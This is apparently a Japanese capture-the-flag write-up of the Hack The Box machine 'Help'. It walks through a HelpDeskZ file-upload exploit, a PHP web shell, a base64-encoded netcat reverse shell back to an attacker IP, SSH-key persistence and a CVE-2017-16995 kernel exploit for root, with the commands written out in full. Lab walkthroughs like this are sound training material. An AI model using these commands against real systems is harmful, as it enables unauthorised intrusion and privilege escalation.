概要
- 開いている 80 で HelpDeskZ がホストされていることを確認
- チケット登録画面でのファイルアップロードの際に、「File is not allowed」とエラーが出ても、そのファイルはアップロードディレクトリに残ることを利用し、user シェルを取得
- SSH 鍵を置いてセッションを固定
- カーネルエクスプロイトの PoC である EDB 45010(CVE-2017-16995)を利用して、root を取得
対象環境
| 項目 | 値 |
|---|---|
| 問題 | Help |
| 難易度 | Easy |
| OS | Linux |
| IP | 10.129.230.159 |
| 攻撃者IP | 10.10.14.248 |
攻撃フロー
1. 偵察
rustscan で全ポートを確認。開いているのは 22 / 80 / 3000。80 は http://help.htb/ へリダイレクト
Ch4n24n@htb[/htb]$ rustscan -a $TARGET --ulimit 5000 -t 10000 -- -sC -sV --source-port 53 -reason -T5 -oA tcp-port-scan
Open 10.129.230.159:22
Open 10.129.230.159:80
Open 10.129.230.159:3000
PORT STATE SERVICE REASON VERSION
22/tcp open ssh syn-ack ttl 63 OpenSSH 7.2p2 Ubuntu 4ubuntu2.6 (Ubuntu Linux; protocol 2.0)
80/tcp open http syn-ack ttl 63 Apache httpd 2.4.18
|_http-title: Did not follow redirect to http://help.htb/
3000/tcp open http syn-ack ttl 63 Node.js Express frameworkhelp.htb を /etc/hosts に足す
Ch4n24n@htb[/htb]$ echo $TARGET help.htb | sudo tee -a /etc/hosts
10.129.230.159 help.htb3000 の GET / は JSON を返す。 この経路ではラビットホール
Ch4n24n@htb[/htb]$ curl http://help.htb:3000
{"message":"Hi Shiv, To get access please find the credentials with given query"}2. Web の列挙
80 を列挙すると support が出る
Ch4n24n@htb[/htb]$ ffuf -w /usr/share/seclists/Discovery/Web-Content/DirBuster-2007_directory-list-2.3-medium.txt:FUZZ -u "http://help.htb/FUZZ" -c -ic -r -t 100 -e .html
support [Status: 200, Size: 4413]
index.html [Status: 200, Size: 11321]/support/ 配下は HelpDeskZ。 さらに列挙すると uploads が出る
Ch4n24n@htb[/htb]$ ffuf -w /usr/share/seclists/Discovery/Web-Content/DirBuster-2007_directory-list-2.3-medium.txt:FUZZ -u "http://help.htb/support/FUZZ" -c -ic -r -t 100 -e .php
index.php [Status: 200, Size: 4413]
captcha.php [Status: 200, Size: 3608]
uploads [Status: 200, Size: 11321]uploads の下に tickets がある
Ch4n24n@htb[/htb]$ ffuf -w /usr/share/seclists/Discovery/Web-Content/DirBuster-2007_directory-list-2.3-medium.txt:FUZZ -u "http://help.htb/support/uploads/FUZZ" -c -ic -r -t 100 -e .php
articles [Status: 200, Size: 11321]
tickets [Status: 200, Size: 11321]searchsploit で HelpDeskZ 1.0.2 で任意のファイルアップロードが可能な脆弱性を発見(EDB 40300) -> HelpDeskZ 1.0.2 - Arbitrary File Upload
Ch4n24n@htb[/htb]$ searchsploit -m 40300
Exploit: HelpDeskZ 1.0.2 - Arbitrary File Upload
URL: https://www.exploit-db.com/exploits/40300
Ch4n24n@htb[/htb]$ python2 40300.py
Helpdeskz v1.0.2 - Unauthenticated shell upload exploit
Usage 40300.py [baseUrl] [nameOfUploadedFile]3. HelpDeskZ の任意ファイルアップロード
(1)チケットに PHP を添付
ワンライナーの Web シェルを作る
Ch4n24n@htb[/htb]$ echo '<?php system($_GET["cmd"]); ?>' > shell.phphttp://help.htb/support/ のチケット作成画面で shell.php を添付して送る。
チケット登録画面では、アップロードファイル以外は適当な値で埋める
サブミットすると、画面は File is not allowed と出す

ただ、ファイルは先に uploads/tickets/ へ移されているので、問題ない
このことは、Google で 「helpdeskz アップロード可能なファイル php できない」 と検索すると、AIが教えてくれた
(2)保存先を特定
HelpDeskZ 1.0.2 - Arbitrary File Upload で PoCをダウンロードし、アップロードしたPHPファイルのアップロード先を特定する
PoCは、「アップロード先」 と 「アップロードファイル名」を指定する
Ch4n24n@htb[/htb]$ python2 40300.py http://help.htb/support/uploads/tickets/ shell.php
Helpdeskz v1.0.2 - Unauthenticated shell upload exploit
found!
http://help.htb/support/uploads/tickets/687514e4….phpこれにより、Webシェルの配置が完了
この PoC は超不親切
PoC内に実行例が無いせいで、「アップロード先は自分で探す必要があること」、「アップロードファイル名は、拡張子を含んだ名前なのか?違うのか?(PoCを読むと拡張子は含まなそうに見えた)」が分からない
(3)リバースシェルを獲得
Web シェルに、リバースシェルを乗せるため、リバースシェルのコマンドを作成する
Ch4n24n@htb[/htb]$ echo 'rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc 10.10.14.248 8200 >/tmp/f' | base64 -w0
cm0gL3RtcC9mO21rZmlmbyAvdG1wL2Y7Y2F0IC90bXAvZnxzaCAtaSAyPiYxfG5jIDEwLjEwLjE0LjI0OCA4MjAwID4vdG1wL2YK作成したリバースシェルのコマンドを載せて、リクエストを送信する
http://help.htb/support/uploads/tickets/687514e4….php?cmd=echo%20%27cm0gL3RtcC9mO21rZmlmbyAvdG1wL2Y7Y2F0IC90bXAvZnxzaCAtaSAyPiYxfG5jIDEwLjEwLjE0LjI0OCA4MjAwID4vdG1wL2YK%27%20|%20base64%20-d%20|%20bash待ち受けると help のシェルが来る
Ch4n24n@htb[/htb]$ rlwrap nc -nlvvp 8200
Listening on 0.0.0.0 8200
Connection received on 10.129.230.159 36126
$ whoami
help
$ python3 -c 'import pty; pty.spawn("/bin/sh")'4. SSH で固定
ed25519 の鍵を作り、公開鍵を authorized_keys に置く
help@help:~$ mkdir .ssh
help@help:~$ echo 'ssh-ed25519 AAAA…' > .ssh/authorized_keys以後は SSH で入る
Ch4n24n@htb[/htb]$ ssh -i id_rsa help@$TARGET
Welcome to Ubuntu 16.04.5 LTS (GNU/Linux 4.4.0-116-generic x86_64)
help@help:~$5. 権限昇格
(1)カーネルのバージョンを確認
カーネルは 4.4.0-116-generic(2018-02)
help@help:~$ uname -a
Linux help 4.4.0-116-generic #140-Ubuntu SMP Mon Feb 12 21:23:04 UTC 2018 x86_64 x86_64 x86_64 GNU/Linux(2)LinPEASを実行
カーネルエクスプロイトが大量にヒットしたので、1つ1つ実行していく
※ただし、この箱は 2019/1/19 にリリースされたので、それ以前に発見された脆弱性に限る
CVE-2017-16995 がうまくいったので、LinPEAS の出力にある https://www.exploit-db.com/exploits/45010 を使って LPE を実行する
まず、PoCをダウンロードし、ターゲットに輸送する
PoCのダウンロードし、輸送用のWebサーバを起動
Ch4n24n@htb[/htb]$ searchsploit -m 45010
Exploit: Linux Kernel < 4.13.9 (Ubuntu 16.04 / Fedora 27) - Local Privilege Escalation
URL: https://www.exploit-db.com/exploits/45010
Codes: CVE-2017-16995
Ch4n24n@htb[/htb]$ python -m http.server 8000 -d ./ターゲットに輸送し、コンパイル+実行をする
# ファイルのダウンロード
help@help:~$ wget http://10.10.14.248:8000/45010.c
HTTP request sent, awaiting response... 200 OK
2026-11-11 08:38:28 (130 KB/s) - ‘45010.c’ saved [13176/13176]
# コンパイル
help@help:~$ gcc 45010.c -o cve-2017-16995
# PoCの実行
help@help:~$ ./cve-2017-16995
# whoami
root参考
おわりに
- HelpDeskZ の PoC 実行でつまずくかもしれませんが、やる内容としてはシンプルでした。 実際、私もこの PoC に振り回され、時間を浪費しました
- それ以外については特に難しいところもなく、権限昇格も LinPEAS で検出された脆弱性を忍耐強く実行していけば、いずれ成功するものでした!
- 難易度通りの内容でした😊



